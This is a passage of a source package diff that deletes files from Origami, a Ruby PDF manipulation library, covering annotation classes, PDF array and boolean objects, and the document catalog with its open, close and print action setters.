:Required => true - field :A, :Type => Dictionary, :Version => "1.1" - field :Dest, :Type => [ Array, Name, ByteString ] - field :H, :Type => Name, :Default => Highlight::INVERT, :Version => "1.2" - field :AP, :Type => Dictionary, :Version => "1.3" - field :QuadPoints, :Type => Array, :Version => "1.6" - - end - - # - # Class representing a file attachment annotation. - # - class FileAttachment < Annotation - - include Markup - - # Icons to be displayed for file attachment. - module Icons - GRAPH = :Graph - PAPERCLIP = :Paperclip - PUSHPIN = :PushPin - TAG = :Tag - end - - field :Subtype, :Type => Name, :Default => :FileAttachment, :Required => true - field :FS, :Type => Dictionary, :Required => true - field :Name, :Type => Name, :Default => Icons::PUSHPIN - - end - - # - # Class representing a screen Annotation. - # A screen annotation specifies a region of a page upon which media clips may be played. It also serves as an object from which actions can be triggered. - # - class Screen < Annotation - - include Triggerable - - field :Subtype, :Type => Name, :Default => :Screen, :Required => true - field :T, :Type => String - field :MK, :Type => Dictionary - field :A, :Type => Dictionary, :Version => "1.1" - field :AA, :Type => Dictionary, :Version => "1.2" - - end - - - class Sound < Annotation - - include Markup - - module Icons - SPEAKER = :Speaker - MIC = :Mic - end - - field :Subtype, :Type => Name, :Default => :Sound, :Required => true - field :Sound, :Type => Stream, :Required => true - field :Name, :Type => Name, :Default => Icons::SPEAKER - - end - - class RichMedia < Annotation - - field :Subtype, :Type => Name, :Default => :RichMedia, :Version => "1.7", :ExtensionLevel => 3, :Required => true - field :RichMediaSettings, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 - field :RichMediaContent, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3, :Required => true - - class Settings < Dictionary - include StandardObject - - field :Type, :Type => Name, :Default => :RichMediaSettings, :Version => "1.7", :ExtensionLevel => 3 - field :Activation, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 - field :Deactivation, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 - end - - class Activation < Dictionary - include StandardObject - - USER_ACTION = :XA - PAGE_OPEN = :PO - PAGE_VISIBLE = :PV - - field :Type, :Type => Name, :Default => :RichMediaActivation, :Version => "1.7", :ExtensionLevel => 3 - field :Condition, :Type => Name, :Default => USER_ACTION, :Version => "1.7", :ExtensionLevel => 3 - field :Animation, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 - field :View, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 - field :Configuration, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 - field :Presentation, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 - field :Scripts, :Type => Array, :Version => "1.7", :ExtensionLevel => 3 - end - - class Deactivation < Dictionary - include StandardObject - - USER_ACTION = :XD - PAGE_CLOSE = :PC - PAGE_INVISIBLE = :PV - - field :Type, :Type => Name, :Default => :RichMediaDeactivation, :Version => "1.7", :ExtensionLevel => 3 - field :Condition, :Type => Name, :Default => USER_ACTION, :Version => "1.7", :ExtensionLevel => 3 - end - - class Animation < Dictionary - include StandardObject - - NONE = :None - LINEAR = :Linear - OSCILLATING = :Oscillating - - field :Type, :Type => Name, :Default => :RichMediaAnimation, :Version => "1.7", :ExtensionLevel => 3 - field :Subtype, :Type => Name, :Default => NONE, :Version => "1.7", :ExtensionLevel => 3 - field :PlayCount, :Type => Integer, :Default => -1, :Version => "1.7", :ExtensionLevel => 3 - field :Speed, :Type => Number, :Default => 1, :Version => "1.7", :ExtensionLevel => 3 - end - - class Presentation < Dictionary - include StandardObject - - WINDOWED = :Windowed - EMBEDDED = :Embedded - - field :Type, :Type => Name, :Default => :RichMediaPresentation, :Version => "1.7", :ExtensionLevel => 3 - field :Style, :Type => Name, :Default => EMBEDDED, :Version => "1.7", :ExtensionLevel => 3 - field :Window, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 - field :Transparent, :Type => Boolean, :Default => false, :Version => "1.7", :ExtensionLevel => 3 - field :NavigationPane, :Type => Boolean, :Default => false, :Version => "1.7", :ExtensionLevel => 3 - field :Toolbar, :Type => Boolean, :Version => "1.7", :ExtensionLevel => 3 - field :PassContextClick, :Type => Boolean, :Default => false, :Version => "1.7", :ExtensionLevel => 3 - end - - class Window < Dictionary - include StandardObject - - field :Type, :Type => Name, :Default => :RichMediaWindow, :Version => "1.7", :ExtensionLevel => 3 - field :Width, :Type => Dictionary, :Default => {:Default => 288, :Max => 576, :Min => 72}, :Version => "1.7", :ExtensionLevel => 3 - field :Height, :Type => Dictionary, :Default => {:Default => 216, :Max => 432, :Min => 72}, :Version => "1.7", :ExtensionLevel => 3 - field :Position, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 - end - - class Position < Dictionary - include StandardObject - - NEAR = :Near - CENTER = :Center - FAR = :Far - - field :Type, :Type => Name, :Default => :RichMediaPosition, :Version => "1.7", :ExtensionLevel => 3 - field :HAlign, :Type => Name, :Default => FAR, :Version => "1.7", :ExtensionLevel => 3 - field :VAlign, :Type => Name, :Default => NEAR, :Version => "1.7", :ExtensionLevel => 3 - field :HOffset, :Type => Number, :Default => 18, :Version => "1.7", :ExtensionLevel => 3 - field :VOffset, :Type => Number, :Default => 18, :Version => "1.7", :ExtensionLevel => 3 - end - - class Content < Dictionary - include StandardObject - - field :Type, :Type => Name, :Default => :RichMediaContent, :Version => "1.7", :ExtensionLevel => 3 - field :Assets, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 - field :Configurations, :Type => Array, :Version => "1.7", :ExtensionLevel => 3 - field :Views, :Type => Array, :Version => "1.7", :ExtensionLevel => 3 - end - - class Configuration < Dictionary - include StandardObject - - U3D = :"3D" - FLASH = :Flash - SOUND = :Sound - VIDEO = :Video - - field :Type, :Type => Name, :Default => :RichMediaConfiguration, :Version => "1.7", :ExtensionLevel => 3 - field :Subtype, :Type => Name, :Version => "1.7", :ExtensionLevel => 3 - field :Name, :Type => String, :Version => "1.7", :ExtensionLevel => 3 - field :Instances, :Type => Array, :Version => "1.7", :ExtensionLevel => 3 - end - - class Instance < Dictionary - include StandardObject - - U3D = :"3D" - FLASH = :Flash - SOUND = :Sound - VIDEO = :Video - - field :Type, :Type => Name, :Default => :RichMediaInstance, :Version => "1.7", :ExtensionLevel => 3 - field :Subtype, :Type => Name, :Version => "1.7", :ExtensionLevel => 3 - field :Params, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 - field :Asset, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 - end - - class Parameters < Dictionary - include StandardObject - - module Binding - NONE = :None - FOREGROUND = :Foreground - BACKGROUND = :Background - MATERIAL = :Material - end - - field :Type, :Type => Name, :Default => :RichMediaParams, :Version => "1.7", :ExtensionLevel => 3 - field :FlashVars, :Type => [String, Stream], :Version => "1.7", :ExtensionLevel => 3 - field :Binding, :Type => Name, :Default => Binding::NONE, :Version => "1.7", :ExtensionLevel => 3 - field :BindingMaterialName, :Type => String, :Version => "1.7", :ExtensionLevel => 3 - field :CuePoints, :Type => Array, :Default => [], :Version => "1.7", :ExtensionLevel => 3 - field :Settings, :Type => [String, Stream], :Version => "1.7", :ExtensionLevel => 3 - end - - class CuePoint < Dictionary - include StandardObject - - NAVIGATION = :Navigation - EVENT = :Event - - field :Type, :Type => Name, :Default => :CuePoint, :Version => "1.7", :ExtensionLevel => 3 - field :Subtype, :Type => Name, :Version => "1.7", :ExtensionLevel => 3 - field :Name, :Type => String, :Version => "1.7", :ExtensionLevel => 3, :Required => true - field :Time, :Type => Number, :Version => "1.7", :ExtensionLevel => 3, :Required => true - field :A, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3, :Required => true - end - end - - # - # Class representing a widget Annotation. - # Interactive forms use widget annotations to represent the appearance of fields and to manage user interactions. - # - class Widget < Annotation - - include Field - include Triggerable - - module Highlight - # No highlighting - NONE = :N - - # Invert the contents of the annotation rectangle. - INVERT = :I - - # Invert the annotation’s border. - OUTLINE = :O - - # Display the annotation as if it were being pushed below the surface of the page - PUSH = :P - - # Same as P. - TOGGLE = :T - - end - - field :Subtype, :Type => Name, :Default => :Widget, :Required => true - field :H, :Type => Name, :Default => Highlight::INVERT - field :MK, :Type => Dictionary - field :A, :Type => Dictionary, :Version => "1.1" - field :AA, :Type => Dictionary, :Version => "1.2" - field :BS, :Type => Dictionary, :Version => "1.2" - - def onActivate(action) - - unless action.is_a?(Action) - raise TypeError, "An Action object must be passed." - end - - self.A = action - end - - class Button < Widget - - module Flags - NOTOGGLETOOFF = 1 << 14 - RADIO = 1 << 15 - PUSHBUTTON = 1 << 16 - RADIOSINUNISON = 1 << 26 - end - - field :FT, :Type => Name, :Default => Field::Type::BUTTON, :Required => true - - end - - class PushButton < Button - - def pre_build - - self.Ff ||= 0 - self.Ff |= Button::Flags::PUSHBUTTON - - super - end - - end - - class CheckBox < Button - - def pre_build - - self.Ff ||= 0 - - self.Ff &= ~Button::Flags::RADIO - self.Ff &= ~Button::Flags::PUSHBUTTON - - super - end - - end - - class Radio < Button - - def pre_build - - self.Ff ||= 0 - - self.Ff &= ~Button::Flags::PUSHBUTTON - self.Ff |= Button::Flags::RADIO - - super - end - - end - - class Text < Widget - - module Flags - MULTILINE = 1 << 12 - PASSWORD = 1 << 13 - FILESELECT = 1 << 20 - DONOTSPELLCHECK = 1 << 22 - DONOTSCROLL = 1 << 23 - COMB = 1 << 24 - RICHTEXT = 1 << 25 - end - - field :FT, :Type => Name, :Default => Field::Type::TEXT, :Required => true - field :MaxLen, :Type => Integer - - end - - class Choice < Widget - - module Flags - COMBO = 1 << 17 - EDIT = 1 << 18 - SORT = 1 << 19 - MULTISELECT = 1 << 21 - DONOTSPELLCHECK = 1 << 22 - COMMITONSELCHANGE = 1 << 26 - end - - field :FT, :Type => Name, :Default => Field::Type::CHOICE, :Required => true - field :Opt, :Type => Array - field :TI, :Type => Integer, :Default => 0 - field :I, :Type => Array, :Version => "1.4" - - end - - class ComboBox < Choice - - def pre_build - - self.Ff ||= 0 - self.Ff |= Choice::Flags::COMBO - - super - end - - end - - class ListBox < Choice - - def pre_build - - self.Ff ||= 0 - self.Ff &= ~Choice::Flags::COMBO - - end - - end - - class Signature < Widget - - field :FT, :Type => Name, :Default => Field::Type::SIGNATURE - field :Lock, :Type => Dictionary, :Version => "1.5" - field :SV, :Type => Dictionary, :Version => "1.5" - - end - - end - - # - # Class representing additional actions which can be associated with an annotation having an AA field. - # - class AdditionalActions < Dictionary - - include StandardObject - - field :E, :Type => Dictionary, :Version => "1.2" # Mouse Enter - field :X, :Type => Dictionary, :Version => "1.2" # Mouse Exit - field :D, :Type => Dictionary, :Version => "1.2" # Mouse Down - field :U, :Type => Dictionary, :Version => "1.2" # Mouse Up - field :Fo, :Type => Dictionary, :Version => "1.2" # Focus - field :Bl, :Type => Dictionary, :Version => "1.2" # Blur - field :PO, :Type => Dictionary, :Version => "1.2" # Page Open - field :PC, :Type => Dictionary, :Version => "1.2" # Page Close - field :PV, :Type => Dictionary, :Version => "1.2" # Page Visible - field :PI, :Type => Dictionary, :Version => "1.2" # Page Invisible - - end - - end - -end diff -Nru origami-1.2.7/lib/origami/array.rb origami-1.2.7+really0.7.4/lib/origami/array.rb --- origami-1.2.7/lib/origami/array.rb 2013-05-07 15:08:46.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/array.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,210 +0,0 @@ -=begin - -= File - array.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume DelugrÈ - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - - -module Origami - - class InvalidArrayObjectError < InvalidObjectError #:nodoc: - end - - # - # Class representing an Array Object. - # Arrays contain a set of Object. - # - class Array < ::Array - include Origami::Object - - TOKENS = %w{ [ ] } #:nodoc: - @@regexp_open = Regexp.new(WHITESPACES + Regexp.escape(TOKENS.first) + WHITESPACES) - @@regexp_close = Regexp.new(WHITESPACES + Regexp.escape(TOKENS.last) + WHITESPACES) - - attr_reader :strings_cache, :names_cache, :xref_cache - - # - # Creates a new PDF Array Object. - # _data_:: An array of objects. - # - def initialize(data = []) - raise TypeError, "Expected type Array, received #{data.class}." unless data.is_a?(::Array) - super() - - @strings_cache = [] - @names_cache = [] - @xref_cache = {} - - i = 0 - while i < data.size - case val = data[i].to_o - when String then @strings_cache.push(val) - when Name then @names_cache.push(val) - when Reference then - (@xref_cache[val] ||= []).push(self) - when Dictionary,Array then - @strings_cache.concat(val.strings_cache) - @names_cache.concat(val.names_cache) - @xref_cache.update(val.xref_cache) do |ref, cache1, cache2| - cache1.concat(cache2) - end - - val.strings_cache.clear - val.names_cache.clear - val.xref_cache.clear - end - - self[i] = val - i = i + 1 - end - - end - - def pre_build - self.map!{|obj| obj.to_o} - - super - end - - def self.parse(stream, parser = nil) #:nodoc: - data = [] - offset = stream.pos - - if not stream.skip(@@regexp_open) - raise InvalidArrayObjectError, "No token '#{TOKENS.first}' found" - end - - while stream.skip(@@regexp_close).nil? do - - type = Object.typeof(stream) - if type.nil? - raise InvalidArrayObjectError, "Bad embedded object format" - end - - value = type.parse(stream, parser) - data << value - end - - array = Array.new(data) - array.file_offset = offset - - array - end - - # - # Converts self into a Ruby array. - # - def to_a - super.map { |item| - item.is_a?(Origami::Object) ? item.value : item - } - end - - def to_s #:nodoc: - content = "#{TOKENS.first} " - self.each { |entry| - content << entry.to_o.to_s + ' ' - } - content << TOKENS.last - - super(content) - end - - def +(other) - - a = Origami::Array.new(self.to_a + other.to_a, is_indirect?) - a.no, a.generation = @no, @generation - - return a - end - - def <<(item) - obj = item.to_o - obj.parent = self unless obj.is_indirect? - - super(obj) - end - - def []=(key,val) - key, val = key.to_o, val.to_o - super(key.to_o,val.to_o) - - val.parent = self unless val.is_indirect? or val.parent.equal?(self) - - val - end - - alias value to_a - - def copy - copy = self.class.new - self.each do |obj| - copy << obj.copy - end - - copy.parent = @parent - copy.no, copy.generation = @no, @generation - copy.set_indirect(true) if is_indirect? - copy.set_pdf(@pdf) if is_indirect? - copy - end - - def self.native_type ; Origami::Array end - - end - - # - # Class representing a location on a page or a bounding box. - # - class Rectangle < Array - - class << self - - def [](coords) - corners = - if [ :llx, :lly, :urx, :ury ].all? {|p| coords.include?(p)} - coords.values_at(:llx, :lly, :urx, :ury) - elsif [ :width, :height ].all? {|p| coords.include?(p)} - width, height = coords.values_at(:width, :height) - x = coords.values_at(:x).first || 0 - y = coords.values_at(:y).first || 0 - [ x, y, x+width, y+height ] - else - raise ArgumentError, "Bad arguments for #{self.class}: #{coords.inspect}" - end - - unless corners.all? { |corner| corner.is_a?(Numeric) } - raise TypeError, "All coords must be numbers" - end - - Rectangle.new(*corners) - end - - end - - def initialize(lowerleftx, lowerlefty, upperrightx, upperrighty) - super([ lowerleftx, lowerlefty, upperrightx, upperrighty ]) - end - - end - -end diff -Nru origami-1.2.7/lib/origami/boolean.rb origami-1.2.7+really0.7.4/lib/origami/boolean.rb --- origami-1.2.7/lib/origami/boolean.rb 2013-05-07 15:08:46.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/boolean.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,101 +0,0 @@ -=begin - -= File - boolean.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume DelugrÈ - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - class InvalidBooleanObjectError < InvalidObjectError #:nodoc: - end - - # - # Class representing a Boolean Object. - # A Boolean Object can be *true* or *false*. - # - class Boolean - - include Origami::Object - - TOKENS = [ %w{ true false } ] #:nodoc: - - @@regexp = Regexp.new(WHITESPACES + "(#{TOKENS.first.join('|')})") - - # - # Creates a new Boolean value. - # _value_:: *true* or *false*. - # - def initialize(value) - - unless value.is_a?(TrueClass) or value.is_a?(FalseClass) - raise TypeError, "Expected type TrueClass or FalseClass, received #{value.class}." - end - - super() - - @value = (value == nil || value == false) ? false : true - end - - def to_s #:nodoc: - super(@value.to_s) - end - - def self.parse(stream, parser = nil) #:nodoc: - - offset = stream.pos - - if stream.scan(@@regexp).nil? - raise InvalidBooleanObjectError - end - - value = stream[2] == "true" ? true : false - - bool = Boolean.new(value) - bool.file_offset = offset - - bool - end - - # - # Converts self into a Ruby boolean, that is TrueClass or FalseClass instance. - # - def value - @value - end - - def self.native_type ; Boolean end - - def false? - @value == false - end - - def true? - @value == true - end - - def ==(bool) - @value == bool - end - - end - -end diff -Nru origami-1.2.7/lib/origami/catalog.rb origami-1.2.7+really0.7.4/lib/origami/catalog.rb --- origami-1.2.7/lib/origami/catalog.rb 2013-05-07 15:08:46.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/catalog.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,485 +0,0 @@ -=begin - -= File - catalog.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume DelugrÈ - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - class PDF - - # - # Sets PDF extension level and version. Only supported values are "1.7" and 3. - # - def set_extension_level(version, level) - exts = (self.Catalog.Extensions ||= Extensions.new) - - exts[:ADBE] = DeveloperExtension.new - exts[:ADBE].BaseVersion = Name.new(version) - exts[:ADBE].ExtensionLevel = level - - self - end - - # - # Returns the current Catalog Dictionary. - # - def Catalog - cat = get_doc_attr(:Root) - - case cat - when Catalog then - cat - when Dictionary then - casted = Catalog.new(cat) - casted.no, casted.generation = cat.no, cat.generation - casted.set_indirect(true) - casted.set_pdf(self) - - casted - else - raise InvalidPDFError, "Broken catalog" - end - end - - # - # Sets the current Catalog Dictionary. - # - def Catalog=(cat) - #unless cat.is_a?(Catalog) - # raise TypeError, "Expected type Catalog, received #{cat.class}" - #end - cat = Catalog.new(cat) unless cat.is_a? Catalog - - if @revisions.last.trailer.Root - delete_object(@revisions.last.trailer[:Root]) - end - - @revisions.last.trailer.Root = self << cat - end - - # - # Sets an action to run on document opening. - # _action_:: An Action Object. - # - def onDocumentOpen(action) - - unless action.is_a?(Action) or action.is_a?(Destination) or action.is_a?(Reference) - raise TypeError, "An Action object must be passed." - end - - unless self.Catalog - raise InvalidPDFError, "A catalog object must exist to add this action." - end - - self.Catalog.OpenAction = action - - self - end - - # - # Sets an action to run on document closing. - # _action_:: A JavaScript Action Object. - # - def onDocumentClose(action) - - unless action.is_a?(Action::JavaScript) or action.is_a?(Reference) - raise TypeError, "An Action::JavaScript object must be passed." - end - - unless self.Catalog - raise InvalidPDFError, "A catalog object must exist to add this action." - end - - self.Catalog.AA ||= CatalogAdditionalActions.new - self.Catalog.AA.WC = action - - self - end - - # - # Sets an action to run on document printing. - # _action_:: A JavaScript Action Object. - # - def onDocumentPrint(action) - - unless action.is_a?(Action::JavaScript) or action.is_a?(Reference) - raise TypeError, "An Action::JavaScript object must be passed." - end - - unless self.Catalog - raise InvalidPDFError, "A catalog object must exist to add this action." - end - - self.Catalog.AA ||= CatalogAdditionalActions.new - self.Catalog.AA.WP = action - - end - - # - # Registers an object into a specific Names root dictionary. - # _root_:: The root dictionary (see Names::Root) - # _name_:: The value name. - # _value_:: The value to associate with this name. - # - def register(root, name, value) - self.Catalog.Names ||= Names.new - - value.set_indirect(true) unless value.is_a? Reference - - namesroot = self.Catalog.Names[root] - if namesroot.nil? - names = NameTreeNode.new(:Names => []).set_indirect(true) - self.Catalog.Names[root] = names - names.Names << name << value - else - namesroot.solve[:Names] << name << value - end - end - - def each_name(root, &b) - namesroot = get_names_root(root) - return if namesroot.nil? - - each_name_from_node(namesroot, [], &b) - self - end - - # - # Retrieve the corresponding value associated with _name_ in - # the specified _root_ name directory, or nil if the value does - # not exist. - # - def resolve_name(root, name) - namesroot = get_names_root(root) - return nil if namesroot.nil? - - resolve_name_from_node(namesroot, name) - end - - # - # Returns a Hash of all names under specified _root_ name directory. - # Returns nil if the directory does not exist. - # - def ls_names(root) - namesroot = get_names_root(root) - return {} if namesroot.nil? - - names = names_from_node(namesroot) - if names.length % 2 != 0 - return InvalidNameTreeError, "Odd number of elements" - end - - Hash[*names] - end - - private - - def names_from_node(node, browsed_nodes = []) #:nodoc: - children = [] - - unless browsed_nodes.any? {|browsed| browsed.equal?(node)} - browsed_nodes.push(node) - if node.has_key?(:Names) # leaf node - children.concat(node.Names) - elsif node.has_key?(:Kids) # intermediate node - node.Kids.each do |kid| - children.concat(names_from_node(kid.solve, browsed_nodes)) - end - end - end - - children - end - - def resolve_name_from_node(node, name, browsed_nodes = []) #:nodoc: - unless browsed_nodes.any? {|browsed| browsed.equal?(node)} - browsed_nodes.push(node) - - if node.has_key?(:Names) # leaf node - limits = node.Limits - - if limits - min, max = limits[0].value, limits[1].value - if (min..max) === name.to_str - names = Hash[*node.Names] - target = names[name] - return target && target.solve - end - else - names = Hash[*node.Names] - target = names[name] - return target && target.solve - end - - elsif node.has_key?(:Kids) # intermediate node - node.Kids.each do |kid| - kid = kid.solve - limits = kid.Limits - min, max = limits[0].value, limits[1].value - - if (min..max) === name.to_str - return resolve_name_from_node(kid, name, browsed_nodes) - end - end - end - end - end - - def each_name_from_node(node, browsed_nodes = [], &b) #:nodoc: - if node.has_key?(:Names) # leaf node - names = Hash[*node.Names] - names.each_pair do |name, value| - b.call(name, value.solve) - end - elsif node.has_key?(:Kids) # intermediate node - node.Kids.each do |kid| - each_name_from_node(kid.solve, browsed_nodes, &b) - end - end - end - - def get_names_root(root) #:nodoc: - namedirs = self.Catalog.Names - return nil if namedirs.nil? or namedirs[root].nil? - - namedirs[root].solve - end - end - - module PageLayout #:nodoc: - SINGLE = :SinglePage - ONE_COLUMN = :OneColumn - TWO_COLUMN_LEFT = :TwoColumnLeft - TWO_COLUMN_RIGHT = :TwoColumnRight - TWO_PAGE_LEFT = :TwoPageLeft - TWO_PAGE_RIGHT = :TwoPageRight - end - - module PageMode #:nodoc: - NONE = :UseNone - OUTLINES = :UseOutlines - THUMBS = :UseThumbs - FULLSCREEN = :FullScreen - OPTIONAL_CONTENT = :UseOC - ATTACHMENTS = :UseAttachments - end - - # - # Class representing additional actions which can be associated with a Catalog. - # - class CatalogAdditionalActions < Dictionary - include StandardObject - - field :WC, :Type => Dictionary, :Version => "1.4" - field :WS, :Type => Dictionary, :Version => "1.4" - field :DS, :Type => Dictionary, :Version => "1.4" - field :WP, :Type => Dictionary, :Version => "1.4" - field :DP, :Type => Dictionary, :Version => "1.4" - end - - class InvalidNameTreeError < Exception #:nodoc: - end - - # - # Class representing the Names Dictionary of a PDF file. - # - class Names < Dictionary - include StandardObject - - # - # Defines constants for Names tree root entries. - # - module Root - DESTS = :Dests - AP = :AP - JAVASCRIPT = :JavaScript - PAGES = :Pages - TEMPLATES = :Templates - IDS = :IDS - URLS = :URLS - EMBEDDEDFILES = :EmbeddedFiles - ALTERNATEPRESENTATIONS = :AlternatePresentations - RENDITIONS = :Renditions - XFARESOURCES = :XFAResources - end - - field Root::DESTS, :Type => Dictionary, :Version => "1.2" - field Root::AP, :Type => Dictionary, :Version => "1.3" - field Root::JAVASCRIPT, :Type => Dictionary, :Version => "1.3" - field Root::PAGES, :Type => Dictionary, :Version => "1.3" - field Root::TEMPLATES, :Type => Dictionary, :Version => "1.3" - field Root::IDS, :Type => Dictionary, :Version => "1.3" - field Root::URLS, :Type => Dictionary, :Version => "1.3" - field Root::EMBEDDEDFILES, :Type => Dictionary, :Version => "1.4" - field Root::ALTERNATEPRESENTATIONS, :Type => Dictionary, :Version => "1.4" - field Root::RENDITIONS, :Type => Dictionary, :Version => "1.5" - field Root::XFARESOURCES, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 - end - - # - # Class representing a node in a Name tree. - # - class NameTreeNode < Dictionary - include StandardObject - - field :Kids, :Type => Array - field :Names, :Type => Array - field :Limits, :Type => Array - end - - # - # Class representing a leaf in a Name tree. - # - class NameLeaf < Origami::Array - - # - # Creates a new leaf in a Name tree. - # _hash_:: A hash of couples, associating a Name with an Reference. - # - def initialize(hash = {}) - - names = [] - hash.each_pair do |k,v| - names << k.to_o << v.to_o - end - - super(names) - end - end - - # - # Class representing the ViewerPreferences Dictionary of a PDF. - # This dictionary modifies the way the UI looks when the file is opened in a viewer. - # - class ViewerPreferences < Dictionary - include StandardObject - - field :HideToolbar, :Type => Boolean, :Default => false - field :HideMenubar, :Type => Boolean, :Default => false - field :HideWindowUI, :Type => Boolean, :Default => false - field :FitWindow, :Type => Boolean, :Default => false - field :CenterWindow, :Type => Boolean, :Default => false - field :DisplayDocTitle, :Type => Boolean, :Default => false, :Version => "1.4" - field :NonFullScreenPageMode, :Type => Name, :Default => :UseNone - field :Direction, :Type => Name, :Default => :L2R - field :ViewArea, :Type => Name, :Default => :CropBox, :Version => "1.4" - field :ViewClip, :Type => Name, :Default => :CropBox, :Version => "1.4" - field :PrintArea, :Type => Name, :Default => :CropBox, :Version => "1.4" - field :PrintClip, :Type => Name, :Default => :CropBox, :Version => "1.4" - field :PrintScaling, :Type => Name, :Default => :AppDefault, :Version => "1.6" - field :Duplex, :Type => Name, :Default => :Simplex, :Version => "1.7" - field :PickTrayByPDFSize, :Type => Boolean, :Version => "1.7" - field :PrintPageRange, :Type => Array, :Version => "1.7" - field :NumCopies, :Type => Integer, :Version => "1.7" - field :Enforce, :Type => Array, :Version => "1.7", :ExtensionLevel => 3 - - end - - class Requirement < Dictionary - include StandardObject - - class Handler < Dictionary - include StandardObject - - module Type - JS = :JS - NOOP = :NoOp - end - - field :Type, :Type => Name, :Default => :ReqHandler - field :S, :Type => Name, :Default => Type::NOOP, :Required => true - field :Script, :Type => ByteString - end - - field :Type, :Type => Name, :Default => :Requirement - field :S, :Type => Name, :Default => :EnableJavaScripts, :Version => "1.7", :Required => true - field :RH, :Type => Array - end - - # - # Class representing an extension Dictionary. - # - class Extensions < Dictionary - include StandardObject - - field :Type, :Type => Name, :Default => :Extensions - end - - # - # Class representing a developer extension. - # - class DeveloperExtension < Dictionary - include StandardObject - - field :Type, :Type => Name, :Default => :DeveloperExtensions - field :BaseVersion, :Type => Name, :Required => true - field :ExtensionLevel, :Type => Integer, :Required => true - - end - - # - # Class representing the Catalog Dictionary of a PDF file. - # - class Catalog < Dictionary - - include StandardObject - - field :Type, :Type => Name, :Default => :Catalog, :Required => true - field :Version, :Type => Name, :Version => "1.4" - field :Pages, :Type => Dictionary, :Required => true - field :PageLabels, :Type => Dictionary, :Version => "1.3" - field :Names, :Type => Dictionary, :Version => "1.2" - field :Dests, :Type => Dictionary, :Version => "1.1" - field :ViewerPreferences, :Type => ViewerPreferences, :Version => "1.2" - field :PageLayout, :Type => Name, :Default => PageLayout::SINGLE - field :PageMode, :Type => Name, :Default => PageMode::NONE - field :Outlines, :Type => Dictionary - field :Threads, :Type => Array, :Version => "1.1" - field :OpenAction, :Type => [ Array, Dictionary ], :Version => "1.1" - field :AA, :Type => Dictionary, :Version => "1.4" - field :URI, :Type => Dictionary, :Version => "1.1" - field :AcroForm, :Type => Dictionary, :Version => "1.2" - field :Metadata, :Type => Stream, :Version => "1.4" - field :StructTreeRoot, :Type => Dictionary, :Version => "1.3" - field :MarkInfo, :Type => Dictionary, :Version => "1.4" - field :Lang, :Type => String, :Version => "1.4" - field :SpiderInfo, :Type => Dictionary, :Version => "1.3" - field :OutputIntents, :Type => Array, :Version => "1.4" - field :PieceInfo, :Type => Dictionary, :Version => "1.4" - field :OCProperties, :Type => Dictionary, :Version => "1.5" - field :Perms, :Type => Dictionary, :Version => "1.5" - field :Legal, :Type => Dictionary, :Version => "1.5" - field :Requirements, :Type => Array, :Version => "1.7" - field :Collection, :Type => Dictionary, :Version => "1.7" - field :NeedsRendering, :Type => Boolean, :Version => "1.7", :Default => false - field :Extensions, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 - - def initialize(hash = {}) - set_indirect(true) - - super(hash) - end - - end - -end diff -Nru origami-1.2.7/lib/origami/destinations.rb origami-1.2.7+really0.7.4/lib/origami/destinations.rb --- origami-1.2.7/lib/origami/destinations.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/destinations.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,213 +0,0 @@ -=begin - -= File - destinations.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume DelugrÈ - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See 